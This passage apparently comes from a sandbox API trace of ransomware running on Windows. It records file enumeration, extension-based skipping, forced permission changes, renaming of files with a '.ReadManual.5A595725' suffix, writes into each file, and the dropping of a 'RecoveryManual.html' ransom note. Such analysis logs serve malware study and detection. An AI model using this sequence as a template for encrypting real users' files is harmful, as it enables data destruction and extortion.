maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.188] GetLastError () returned 0x5 [0254.188] GetNamedSecurityInfoW () returned 0x0 [0254.188] SetNamedSecurityInfoW () returned 0x0 [0254.188] SetNamedSecurityInfoW () returned 0x0 [0254.189] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.189] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=24852) returned 1 [0254.189] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6114, lpName=0x0) returned 0x1a0 [0254.189] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0254.190] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.190] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.192] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.192] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6114) returned 0x2f0000 [0254.192] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37486100841) returned 1 [0254.192] CloseHandle (hObject=0x1a0) returned 1 [0254.192] SetSecurityInfo () returned 0x5 [0254.192] SetSecurityInfo () returned 0x5 [0254.192] LocalFree (hMem=0x674d38) returned 0x0 [0254.192] CloseHandle (hObject=0x184) returned 1 [0254.193] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0254.193] lstrcpyW (in: lpString1=0x6ab912, lpString2="vistabg.png" | out: lpString1="vistabg.png") returned="vistabg.png" [0254.193] lstrcmpiW (lpString1="vistabg.png", lpString2="RecoveryManual.html") returned 1 [0254.193] StrStrIW (lpFirst="vistabg.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.193] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.193] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.193] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.193] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.193] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.193] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.193] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" [0254.193] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.ReadManual.5A595725" [0254.193] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.ReadManual.5A595725") returned 90 [0254.193] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37486198037) returned 1 [0254.193] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0254.193] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.194] GetLastError () returned 0x5 [0254.194] GetNamedSecurityInfoW () returned 0x0 [0254.194] SetNamedSecurityInfoW () returned 0x0 [0254.194] SetNamedSecurityInfoW () returned 0x0 [0254.195] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.195] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=195804) returned 1 [0254.195] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fcdc, lpName=0x0) returned 0x1a0 [0254.195] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0254.201] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.201] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.203] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.203] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2fcdc) returned 0x1de0000 [0254.208] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0254.209] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37487769666) returned 1 [0254.209] CloseHandle (hObject=0x1a0) returned 1 [0254.209] SetSecurityInfo () returned 0x5 [0254.209] SetSecurityInfo () returned 0x5 [0254.209] LocalFree (hMem=0x674d38) returned 0x0 [0254.209] CloseHandle (hObject=0x184) returned 1 [0254.211] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0254.211] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0254.211] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.211] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_babypink_Thumbnail.bmp" | out: lpString1="rectangle_babypink_Thumbnail.bmp") returned="rectangle_babypink_Thumbnail.bmp" [0254.211] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.211] StrStrIW (lpFirst="rectangle_babypink_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.211] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.212] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.212] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.212] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" [0254.212] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.ReadManual.5A595725" [0254.212] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.ReadManual.5A595725") returned 100 [0254.212] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37488264016) returned 1 [0254.214] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0254.215] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.215] GetLastError () returned 0x5 [0254.215] GetNamedSecurityInfoW () returned 0x0 [0254.215] SetNamedSecurityInfoW () returned 0x0 [0254.215] SetNamedSecurityInfoW () returned 0x0 [0254.216] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.216] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.216] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.216] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0254.217] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.217] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.218] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.218] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.219] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.219] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37488748015) returned 1 [0254.219] CloseHandle (hObject=0x184) returned 1 [0254.219] SetSecurityInfo () returned 0x5 [0254.219] SetSecurityInfo () returned 0x5 [0254.219] LocalFree (hMem=0x674d38) returned 0x0 [0254.219] CloseHandle (hObject=0x194) returned 1 [0254.220] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0254.220] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0254.220] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0254.220] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0254.221] CloseHandle (hObject=0x194) returned 1 [0254.222] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.222] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_glass_Thumbnail.bmp" | out: lpString1="rectangle_glass_Thumbnail.bmp") returned="rectangle_glass_Thumbnail.bmp" [0254.222] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.222] StrStrIW (lpFirst="rectangle_glass_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.222] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.222] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.222] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.222] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" [0254.222] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.ReadManual.5A595725" [0254.222] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.ReadManual.5A595725") returned 97 [0254.222] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37489089824) returned 1 [0254.222] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp")) returned 0x20 [0254.222] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.222] GetLastError () returned 0x5 [0254.223] GetNamedSecurityInfoW () returned 0x0 [0254.223] SetNamedSecurityInfoW () returned 0x0 [0254.223] SetNamedSecurityInfoW () returned 0x0 [0254.224] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.224] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.224] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.224] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0254.225] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.225] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.227] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.227] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.227] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37489569259) returned 1 [0254.227] CloseHandle (hObject=0x184) returned 1 [0254.227] SetSecurityInfo () returned 0x5 [0254.227] SetSecurityInfo () returned 0x5 [0254.227] LocalFree (hMem=0x674d38) returned 0x0 [0254.227] CloseHandle (hObject=0x194) returned 1 [0254.227] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.227] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_highlights_Thumbnail.bmp" | out: lpString1="rectangle_highlights_Thumbnail.bmp") returned="rectangle_highlights_Thumbnail.bmp" [0254.227] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.227] StrStrIW (lpFirst="rectangle_highlights_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.227] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.227] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.227] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.227] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.228] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.228] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.228] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" [0254.228] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.ReadManual.5A595725" [0254.228] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.ReadManual.5A595725") returned 102 [0254.228] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37489664963) returned 1 [0254.228] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp")) returned 0x20 [0254.228] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.228] GetLastError () returned 0x5 [0254.228] GetNamedSecurityInfoW () returned 0x0 [0254.228] SetNamedSecurityInfoW () returned 0x0 [0254.229] SetNamedSecurityInfoW () returned 0x0 [0254.229] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.230] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.230] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.230] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0254.230] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.230] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, 